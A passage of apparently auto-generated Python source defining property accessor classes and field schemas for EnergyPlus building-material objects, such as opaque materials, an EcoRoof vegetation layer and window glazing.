u'solar_absorptance', 'default': 0.7, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'visible absorptance', {'name': u'Visible Absorptance', 'pyname': u'visible_absorptance', 'default': 0.7, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 6, 'name': u'Material', 'pyname': u'Material', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def roughness(self): """field `Roughness` Args: value (str): value for IDD Field `Roughness` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `roughness` or None if not set """ return self["Roughness"] @roughness.setter def roughness(self, value=None): """Corresponds to IDD field `Roughness`""" self["Roughness"] = value @property def thickness(self): """field `Thickness` | Units: m | IP-Units: in | value <= 3.0 Args: value (float): value for IDD Field `Thickness` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thickness` or None if not set """ return self["Thickness"] @thickness.setter def thickness(self, value=None): """Corresponds to IDD field `Thickness`""" self["Thickness"] = value @property def conductivity(self): """field `Conductivity` | Units: W/m-K Args: value (float): value for IDD Field `Conductivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `conductivity` or None if not set """ return self["Conductivity"] @conductivity.setter def conductivity(self, value=None): """Corresponds to IDD field `Conductivity`""" self["Conductivity"] = value @property def density(self): """field `Density` | Units: kg/m3 Args: value (float): value for IDD Field `Density` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `density` or None if not set """ return self["Density"] @density.setter def density(self, value=None): """Corresponds to IDD field `Density`""" self["Density"] = value @property def specific_heat(self): """field `Specific Heat` | Units: J/kg-K | value >= 100.0 Args: value (float): value for IDD Field `Specific Heat` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `specific_heat` or None if not set """ return self["Specific Heat"] @specific_heat.setter def specific_heat(self, value=None): """Corresponds to IDD field `Specific Heat`""" self["Specific Heat"] = value @property def thermal_absorptance(self): """field `Thermal Absorptance` | Default value: 0.9 | value <= 0.99999 Args: value (float): value for IDD Field `Thermal Absorptance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_absorptance` or None if not set """ return self["Thermal Absorptance"] @thermal_absorptance.setter def thermal_absorptance(self, value=0.9): """Corresponds to IDD field `Thermal Absorptance`""" self["Thermal Absorptance"] = value @property def solar_absorptance(self): """field `Solar Absorptance` | Default value: 0.7 | value <= 1.0 Args: value (float): value for IDD Field `Solar Absorptance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `solar_absorptance` or None if not set """ return self["Solar Absorptance"] @solar_absorptance.setter def solar_absorptance(self, value=0.7): """Corresponds to IDD field `Solar Absorptance`""" self["Solar Absorptance"] = value @property def visible_absorptance(self): """field `Visible Absorptance` | Default value: 0.7 | value <= 1.0 Args: value (float): value for IDD Field `Visible Absorptance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `visible_absorptance` or None if not set """ return self["Visible Absorptance"] @visible_absorptance.setter def visible_absorptance(self, value=0.7): """Corresponds to IDD field `Visible Absorptance`""" self["Visible Absorptance"] = value class MaterialNoMass(DataObject): """ Corresponds to IDD object `Material:NoMass` Regular materials properties described whose principal description is R (Thermal Resistance) """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'roughness', {'name': u'Roughness', 'pyname': u'roughness', 'required-field': True, 'autosizable': False, 'accepted-values': [u'VeryRough', u'Rough', u'MediumRough', u'MediumSmooth', u'Smooth', u'VerySmooth'], 'autocalculatable': False, 'type': 'alpha'}), (u'thermal resistance', {'name': u'Thermal Resistance', 'pyname': u'thermal_resistance', 'required-field': True, 'autosizable': False, 'minimum': 0.001, 'autocalculatable': False, 'type': u'real', 'unit': u'm2-K/W'}), (u'thermal absorptance', {'name': u'Thermal Absorptance', 'pyname': u'thermal_absorptance', 'default': 0.9, 'minimum>': 0.0, 'maximum': 0.99999, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real'}), (u'solar absorptance', {'name': u'Solar Absorptance', 'pyname': u'solar_absorptance', 'default': 0.7, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'visible absorptance', {'name': u'Visible Absorptance', 'pyname': u'visible_absorptance', 'default': 0.7, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 3, 'name': u'Material:NoMass', 'pyname': u'MaterialNoMass', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def roughness(self): """field `Roughness` Args: value (str): value for IDD Field `Roughness` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `roughness` or None if not set """ return self["Roughness"] @roughness.setter def roughness(self, value=None): """Corresponds to IDD field `Roughness`""" self["Roughness"] = value @property def thermal_resistance(self): """field `Thermal Resistance` | Units: m2-K/W | value >= 0.001 Args: value (float): value for IDD Field `Thermal Resistance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_resistance` or None if not set """ return self["Thermal Resistance"] @thermal_resistance.setter def thermal_resistance(self, value=None): """Corresponds to IDD field `Thermal Resistance`""" self["Thermal Resistance"] = value @property def thermal_absorptance(self): """field `Thermal Absorptance` | Default value: 0.9 | value <= 0.99999 Args: value (float): value for IDD Field `Thermal Absorptance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_absorptance` or None if not set """ return self["Thermal Absorptance"] @thermal_absorptance.setter def thermal_absorptance(self, value=0.9): """Corresponds to IDD field `Thermal Absorptance`""" self["Thermal Absorptance"] = value @property def solar_absorptance(self): """field `Solar Absorptance` | Default value: 0.7 | value <= 1.0 Args: value (float): value for IDD Field `Solar Absorptance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `solar_absorptance` or None if not set """ return self["Solar Absorptance"] @solar_absorptance.setter def solar_absorptance(self, value=0.7): """Corresponds to IDD field `Solar Absorptance`""" self["Solar Absorptance"] = value @property def visible_absorptance(self): """field `Visible Absorptance` | Default value: 0.7 | value <= 1.0 Args: value (float): value for IDD Field `Visible Absorptance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `visible_absorptance` or None if not set """ return self["Visible Absorptance"] @visible_absorptance.setter def visible_absorptance(self, value=0.7): """Corresponds to IDD field `Visible Absorptance`""" self["Visible Absorptance"] = value class MaterialInfraredTransparent(DataObject): """ Corresponds to IDD object `Material:InfraredTransparent` Special infrared transparent material. Similar to a Material:Nomass with low thermal resistance. High absorptance in both wavelengths. Area will be doubled internally to make internal radiant exchange accurate. Should be only material in single layer surface construction. All thermal properties are set internally. User needs only to supply name. Cannot be used with ConductionFiniteDifference solution algorithms """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 1, 'name': u'Material:InfraredTransparent', 'pyname': u'MaterialInfraredTransparent', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value class MaterialAirGap(DataObject): """ Corresponds to IDD object `Material:AirGap` Air Space in Opaque Construction """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'thermal resistance', {'name': u'Thermal Resistance', 'pyname': u'thermal_resistance', 'minimum>': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm2-K/W'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 2, 'name': u'Material:AirGap', 'pyname': u'MaterialAirGap', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def thermal_resistance(self): """field `Thermal Resistance` | Units: m2-K/W Args: value (float): value for IDD Field `Thermal Resistance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_resistance` or None if not set """ return self["Thermal Resistance"] @thermal_resistance.setter def thermal_resistance(self, value=None): """Corresponds to IDD field `Thermal Resistance`""" self["Thermal Resistance"] = value class MaterialRoofVegetation(DataObject): """ Corresponds to IDD object `Material:RoofVegetation` EcoRoof model, plant layer plus soil layer Implemented by Portland State University (Sailor et al., January, 2007) only one material must be referenced per simulation though the same EcoRoof material could be used in multiple constructions. New moisture redistribution scheme (2010) requires higher number of timesteps per hour (minimum 12 recommended). """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'height of plants', {'name': u'Height of Plants', 'pyname': u'height_of_plants', 'default': 0.2, 'minimum>': 0.005, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'leaf area index', {'name': u'Leaf Area Index', 'pyname': u'leaf_area_index', 'default': 1.0, 'minimum>': 0.001, 'maximum': 5.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'leaf reflectivity', {'name': u'Leaf Reflectivity', 'pyname': u'leaf_reflectivity', 'default': 0.22, 'maximum': 0.5, 'required-field': True, 'autosizable': False, 'minimum': 0.05, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'leaf emissivity', {'name': u'Leaf Emissivity', 'pyname': u'leaf_emissivity', 'default': 0.95, 'maximum': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.8, 'autocalculatable': False, 'type': u'real'}), (u'minimum stomatal resistance', {'name': u'Minimum Stomatal Resistance', 'pyname': u'minimum_stomatal_resistance', 'default': 180.0, 'maximum': 300.0, 'required-field': False, 'autosizable': False, 'minimum': 50.0, 'autocalculatable': False, 'type': u'real', 'unit': u's/m'}), (u'soil layer name', {'name': u'Soil Layer Name', 'pyname': u'soil_layer_name', 'default': u'Green Roof Soil', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'roughness', {'name': u'Roughness', 'pyname': u'roughness', 'default': u'MediumRough', 'required-field': True, 'autosizable': False, 'accepted-values': [u'VeryRough', u'MediumRough', u'Rough', u'Smooth', u'MediumSmooth', u'VerySmooth'], 'autocalculatable': False, 'type': 'alpha'}), (u'thickness', {'name': u'Thickness', 'pyname': u'thickness', 'default': 0.1, 'minimum>': 0.05, 'maximum': 0.7, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'conductivity of dry soil', {'name': u'Conductivity of Dry Soil', 'pyname': u'conductivity_of_dry_soil', 'default': 0.35, 'maximum': 1.5, 'required-field': True, 'autosizable': False, 'minimum': 0.2, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K'}), (u'density of dry soil', {'name': u'Density of Dry Soil', 'pyname': u'density_of_dry_soil', 'default': 1100.0, 'maximum': 2000.0, 'required-field': True, 'autosizable': False, 'minimum': 300.0, 'autocalculatable': False, 'type': u'real', 'unit': u'kg/m3'}), (u'specific heat of dry soil', {'name': u'Specific Heat of Dry Soil', 'pyname': u'specific_heat_of_dry_soil', 'default': 1200.0, 'minimum>': 500.0, 'maximum': 2000.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'J/kg-K'}), (u'thermal absorptance', {'name': u'Thermal Absorptance', 'pyname': u'thermal_absorptance', 'default': 0.9, 'minimum>': 0.8, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real'}), (u'solar absorptance', {'name': u'Solar Absorptance', 'pyname': u'solar_absorptance', 'default': 0.7, 'maximum': 0.9, 'required-field': False, 'autosizable': False, 'minimum': 0.4, 'autocalculatable': False, 'type': u'real'}), (u'visible absorptance', {'name': u'Visible Absorptance', 'pyname': u'visible_absorptance', 'default': 0.75, 'minimum>': 0.5, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real'}), (u'saturation volumetric moisture content of the soil layer', {'name': u'Saturation Volumetric Moisture Content of the Soil Layer', 'pyname': u'saturation_volumetric_moisture_content_of_the_soil_layer', 'default': 0.3, 'minimum>': 0.1, 'maximum': 0.5, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real'}), (u'residual volumetric moisture content of the soil layer', {'name': u'Residual Volumetric Moisture Content of the Soil Layer', 'pyname': u'residual_volumetric_moisture_content_of_the_soil_layer', 'default': 0.01, 'maximum': 0.1, 'required-field': False, 'autosizable': False, 'minimum': 0.01, 'autocalculatable': False, 'type': u'real'}), (u'initial volumetric moisture content of the soil layer', {'name': u'Initial Volumetric Moisture Content of the Soil Layer', 'pyname': u'initial_volumetric_moisture_content_of_the_soil_layer', 'default': 0.1, 'minimum>': 0.05, 'maximum': 0.5, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real'}), (u'moisture diffusion calculation method', {'name': u'Moisture Diffusion Calculation Method', 'pyname': u'moisture_diffusion_calculation_method', 'default': u'Advanced', 'required-field': False, 'autosizable': False, 'accepted-values': [u'Simple', u'Advanced'], 'autocalculatable': False, 'type': 'alpha'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 18, 'name': u'Material:RoofVegetation', 'pyname': u'MaterialRoofVegetation', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def height_of_plants(self): """field `Height of Plants` | The ecoroof module is designed for short plants and shrubs. | Units: m | Default value: 0.2 | value > 0.005 | value <= 1.0 Args: value (float): value for IDD Field `Height of Plants` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `height_of_plants` or None if not set """ return self["Height of Plants"] @height_of_plants.setter def height_of_plants(self, value=0.2): """Corresponds to IDD field `Height of Plants`""" self["Height of Plants"] = value @property def leaf_area_index(self): """field `Leaf Area Index` | Entire surface is assumed covered, so decrease LAI accordingly. | Units: dimensionless | Default value: 1.0 | value > 0.001 | value <= 5.0 Args: value (float): value for IDD Field `Leaf Area Index` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `leaf_area_index` or None if not set """ return self["Leaf Area Index"] @leaf_area_index.setter def leaf_area_index(self, value=1.0): """Corresponds to IDD field `Leaf Area Index`""" self["Leaf Area Index"] = value @property def leaf_reflectivity(self): """field `Leaf Reflectivity` | Leaf reflectivity (albedo) is typically 0.18-0.25 | Units: dimensionless | Default value: 0.22 | value >= 0.05 | value <= 0.5 Args: value (float): value for IDD Field `Leaf Reflectivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `leaf_reflectivity` or None if not set """ return self["Leaf Reflectivity"] @leaf_reflectivity.setter def leaf_reflectivity(self, value=0.22): """Corresponds to IDD field `Leaf Reflectivity`""" self["Leaf Reflectivity"] = value @property def leaf_emissivity(self): """field `Leaf Emissivity` | Default value: 0.95 | value >= 0.8 | value <= 1.0 Args: value (float): value for IDD Field `Leaf Emissivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `leaf_emissivity` or None if not set """ return self["Leaf Emissivity"] @leaf_emissivity.setter def leaf_emissivity(self, value=0.95): """Corresponds to IDD field `Leaf Emissivity`""" self["Leaf Emissivity"] = value @property def minimum_stomatal_resistance(self): """field `Minimum Stomatal Resistance` | This depends upon plant type | Units: s/m | Default value: 180.0 | value >= 50.0 | value <= 300.0 Args: value (float): value for IDD Field `Minimum Stomatal Resistance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `minimum_stomatal_resistance` or None if not set """ return self["Minimum Stomatal Resistance"] @minimum_stomatal_resistance.setter def minimum_stomatal_resistance(self, value=180.0): """Corresponds to IDD field `Minimum Stomatal Resistance`""" self["Minimum Stomatal Resistance"] = value @property def soil_layer_name(self): """field `Soil Layer Name` | Default value: Green Roof Soil Args: value (str): value for IDD Field `Soil Layer Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `soil_layer_name` or None if not set """ return self["Soil Layer Name"] @soil_layer_name.setter def soil_layer_name(self, value="Green Roof Soil"): """Corresponds to IDD field `Soil Layer Name`""" self["Soil Layer Name"] = value @property def roughness(self): """field `Roughness` | Default value: MediumRough Args: value (str): value for IDD Field `Roughness` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `roughness` or None if not set """ return self["Roughness"] @roughness.setter def roughness(self, value="MediumRough"): """Corresponds to IDD field `Roughness`""" self["Roughness"] = value @property def thickness(self): """field `Thickness` | thickness of the soil layer of the EcoRoof | Soil depths of 0.15m (6in) and 0.30m (12in) are common. | Units: m | IP-Units: in | Default value: 0.1 | value > 0.05 | value <= 0.7 Args: value (float): value for IDD Field `Thickness` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thickness` or None if not set """ return self["Thickness"] @thickness.setter def thickness(self, value=0.1): """Corresponds to IDD field `Thickness`""" self["Thickness"] = value @property def conductivity_of_dry_soil(self): """field `Conductivity of Dry Soil` | Thermal conductivity of dry soil. | Typical ecoroof soils range from 0.3 to 0.5 | Units: W/m-K | Default value: 0.35 | value >= 0.2 | value <= 1.5 Args: value (float): value for IDD Field `Conductivity of Dry Soil` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `conductivity_of_dry_soil` or None if not set """ return self["Conductivity of Dry Soil"] @conductivity_of_dry_soil.setter def conductivity_of_dry_soil(self, value=0.35): """Corresponds to IDD field `Conductivity of Dry Soil`""" self["Conductivity of Dry Soil"] = value @property def density_of_dry_soil(self): """field `Density of Dry Soil` | Density of dry soil (the code modifies this as the soil becomes moist) | Typical ecoroof soils range from 400 to 1000 (dry to wet) | Units: kg/m3 | Default value: 1100.0 | value >= 300.0 | value <= 2000.0 Args: value (float): value for IDD Field `Density of Dry Soil` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `density_of_dry_soil` or None if not set """ return self["Density of Dry Soil"] @density_of_dry_soil.setter def density_of_dry_soil(self, value=1100.0): """Corresponds to IDD field `Density of Dry Soil`""" self["Density of Dry Soil"] = value @property def specific_heat_of_dry_soil(self): """field `Specific Heat of Dry Soil` | Specific heat of dry soil | Units: J/kg-K | Default value: 1200.0 | value > 500.0 | value <= 2000.0 Args: value (float): value for IDD Field `Specific Heat of Dry Soil` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `specific_heat_of_dry_soil` or None if not set """ return self["Specific Heat of Dry Soil"] @specific_heat_of_dry_soil.setter def specific_heat_of_dry_soil(self, value=1200.0): """Corresponds to IDD field `Specific Heat of Dry Soil`""" self["Specific Heat of Dry Soil"] = value @property def thermal_absorptance(self): """field `Thermal Absorptance` | Soil emissivity is typically in range of 0.90 to 0.98 | Default value: 0.9 | value > 0.8 | value <= 1.0 Args: value (float): value for IDD Field `Thermal Absorptance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_absorptance` or None if not set """ return self["Thermal Absorptance"] @thermal_absorptance.setter def thermal_absorptance(self, value=0.9): """Corresponds to IDD field `Thermal Absorptance`""" self["Thermal Absorptance"] = value @property def solar_absorptance(self): """field `Solar Absorptance` | Solar absorptance of dry soil (1-albedo) is typically 0.60 to 0.85 | corresponding to a dry albedo of 0.15 to 0.40 | Default value: 0.7 | value >= 0.4 | value <= 0.9 Args: value (float): value for IDD Field `Solar Absorptance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `solar_absorptance` or None if not set """ return self["Solar Absorptance"] @solar_absorptance.setter def solar_absorptance(self, value=0.7): """Corresponds to IDD field `Solar Absorptance`""" self["Solar Absorptance"] = value @property def visible_absorptance(self): """field `Visible Absorptance` | Default value: 0.75 | value > 0.5 | value <= 1.0 Args: value (float): value for IDD Field `Visible Absorptance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `visible_absorptance` or None if not set """ return self["Visible Absorptance"] @visible_absorptance.setter def visible_absorptance(self, value=0.75): """Corresponds to IDD field `Visible Absorptance`""" self["Visible Absorptance"] = value @property def saturation_volumetric_moisture_content_of_the_soil_layer(self): """field `Saturation Volumetric Moisture Content of the Soil Layer` | Maximum moisture content is typically less than 0.5 | Default value: 0.3 | value > 0.1 | value <= 0.5 Args: value (float): value for IDD Field `Saturation Volumetric Moisture Content of the Soil Layer` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `saturation_volumetric_moisture_content_of_the_soil_layer` or None if not set """ return self["Saturation Volumetric Moisture Content of the Soil Layer"] @saturation_volumetric_moisture_content_of_the_soil_layer.setter def saturation_volumetric_moisture_content_of_the_soil_layer( self, value=0.3): """Corresponds to IDD field `Saturation Volumetric Moisture Content of the Soil Layer`""" self[ "Saturation Volumetric Moisture Content of the Soil Layer"] = value @property def residual_volumetric_moisture_content_of_the_soil_layer(self): """field `Residual Volumetric Moisture Content of the Soil Layer` | Default value: 0.01 | value >= 0.01 | value <= 0.1 Args: value (float): value for IDD Field `Residual Volumetric Moisture Content of the Soil Layer` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `residual_volumetric_moisture_content_of_the_soil_layer` or None if not set """ return self["Residual Volumetric Moisture Content of the Soil Layer"] @residual_volumetric_moisture_content_of_the_soil_layer.setter def residual_volumetric_moisture_content_of_the_soil_layer( self, value=0.01): """Corresponds to IDD field `Residual Volumetric Moisture Content of the Soil Layer`""" self["Residual Volumetric Moisture Content of the Soil Layer"] = value @property def initial_volumetric_moisture_content_of_the_soil_layer(self): """field `Initial Volumetric Moisture Content of the Soil Layer` | Default value: 0.1 | value > 0.05 | value <= 0.5 Args: value (float): value for IDD Field `Initial Volumetric Moisture Content of the Soil Layer` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `initial_volumetric_moisture_content_of_the_soil_layer` or None if not set """ return self["Initial Volumetric Moisture Content of the Soil Layer"] @initial_volumetric_moisture_content_of_the_soil_layer.setter def initial_volumetric_moisture_content_of_the_soil_layer(self, value=0.1): """Corresponds to IDD field `Initial Volumetric Moisture Content of the Soil Layer`""" self["Initial Volumetric Moisture Content of the Soil Layer"] = value @property def moisture_diffusion_calculation_method(self): """field `Moisture Diffusion Calculation Method` | Advanced calculation requires increased number of timesteps (recommended >20). | Default value: Advanced Args: value (str): value for IDD Field `Moisture Diffusion Calculation Method` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `moisture_diffusion_calculation_method` or None if not set """ return self["Moisture Diffusion Calculation Method"] @moisture_diffusion_calculation_method.setter def moisture_diffusion_calculation_method(self, value="Advanced"): """Corresponds to IDD field `Moisture Diffusion Calculation Method`""" self["Moisture Diffusion Calculation Method"] = value class WindowMaterialSimpleGlazingSystem(DataObject): """ Corresponds to IDD object `WindowMaterial:SimpleGlazingSystem` Alternate method of describing windows This window material object is used to define an entire glazing system using simple performance parameters. """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'u-factor', {'name': u'U-Factor', 'pyname': u'ufactor', 'minimum>': 0.0, 'maximum': 7.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m2-K'}), (u'solar heat gain coefficient', {'name': u'Solar Heat Gain Coefficient', 'pyname': u'solar_heat_gain_coefficient', 'minimum>': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'maximum<': 1.0}), (u'visible transmittance', {'name': u'Visible Transmittance', 'pyname': u'visible_transmittance', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'maximum<': 1.0})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 3, 'name': u'WindowMaterial:SimpleGlazingSystem', 'pyname': u'WindowMaterialSimpleGlazingSystem', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def ufactor(self): """field `U-Factor` | Enter U-Factor including film coefficients | Note that the effective upper limit for U-factor is 5.8 W/m2-K | Units: W/m2-K | value <= 7.0 Args: value (float): value for IDD Field `U-Factor` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `ufactor` or None if not set """ return self["U-Factor"] @ufactor.setter def ufactor(self, value=None): """ Corresponds to IDD field `U-Factor` """ self["U-Factor"] = value @property def solar_heat_gain_coefficient(self): """field `Solar Heat Gain Coefficient` | SHGC at Normal Incidence | value < 1.0 Args: value (float): value for IDD Field `Solar Heat Gain Coefficient` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `solar_heat_gain_coefficient` or None if not set """ return self["Solar Heat Gain Coefficient"] @solar_heat_gain_coefficient.setter def solar_heat_gain_coefficient(self, value=None): """Corresponds to IDD field `Solar Heat Gain Coefficient`""" self["Solar Heat Gain Coefficient"] = value @property def visible_transmittance(self): """field `Visible Transmittance` | VT at Normal Incidence | optional | value < 1.0 Args: value (float): value for IDD Field `Visible Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `visible_transmittance` or None if not set """ return self["Visible Transmittance"] @visible_transmittance.setter def visible_transmittance(self, value=None): """Corresponds to IDD field `Visible Transmittance`""" self["Visible Transmittance"] = value class WindowMaterialGlazing(DataObject): """ Corresponds to IDD object `WindowMaterial:Glazing` Glass material properties for Windows or Glass Doors Transmittance/Reflectance input method. """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'optical data type', {'name': u'Optical Data Type', 'pyname': u'optical_data_type', 'required-field': True, 'autosizable': False, 'accepted-values': [u'SpectralAverage', u'Spectral', u'BSDF'], 'autocalculatable': False, 'type': 'alpha'}), (u'window glass spectral data set name', {'name': u'Window Glass Spectral Data Set Name', 'pyname': u'window_glass_spectral_data_set_name', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'thickness', {'name': u'Thickness', 'pyname': u'thickness', 'minimum>': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'solar transmittance at normal incidence', {'name': u'Solar Transmittance at Normal Incidence', 'pyname': u'solar_transmittance_at_normal_incidence', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'front side solar reflectance at normal incidence', {'name': u'Front Side Solar Reflectance at Normal Incidence', 'pyname': u'front_side_solar_reflectance_at_normal_incidence', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'back side solar reflectance at normal incidence', {'name': u'Back Side Solar Reflectance at Normal Incidence', 'pyname': u'back_side_solar_reflectance_at_normal_incidence', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'visible transmittance at normal incidence', {'name': u'Visible Transmittance at Normal Incidence', 'pyname': u'visible_transmittance_at_normal_incidence', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'front side visible reflectance at normal incidence', {'name': u'Front Side Visible Reflectance at Normal Incidence', 'pyname': u'front_side_visible_reflectance_at_normal_incidence', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'back side visible reflectance at normal incidence', {'name': u'Back Side Visible Reflectance at Normal Incidence', 'pyname': u'back_side_visible_reflectance_at_normal_incidence', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'infrared transmittance at normal incidence', {'name': u'Infrared Transmittance at Normal Incidence', 'pyname': u'infrared_transmittance_at_normal_incidence', 'default': 0.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'front side infrared hemispherical emissivity', {'name': u'Front Side Infrared Hemispherical Emissivity', 'pyname': u'front_side_infrared_hemispherical_emissivity', 'default': 0.84, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'maximum<': 1.0}), (u'back side infrared hemispherical emissivity', {'name': u'Back Side Infrared Hemispherical Emissivity', 'pyname': u'back_side_infrared_hemispherical_emissivity', 'default': 0.84, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'maximum<': 1.0}), (u'conductivity', {'name': u'Conductivity', 'pyname': u'conductivity', 'default': 0.9, 'minimum>': 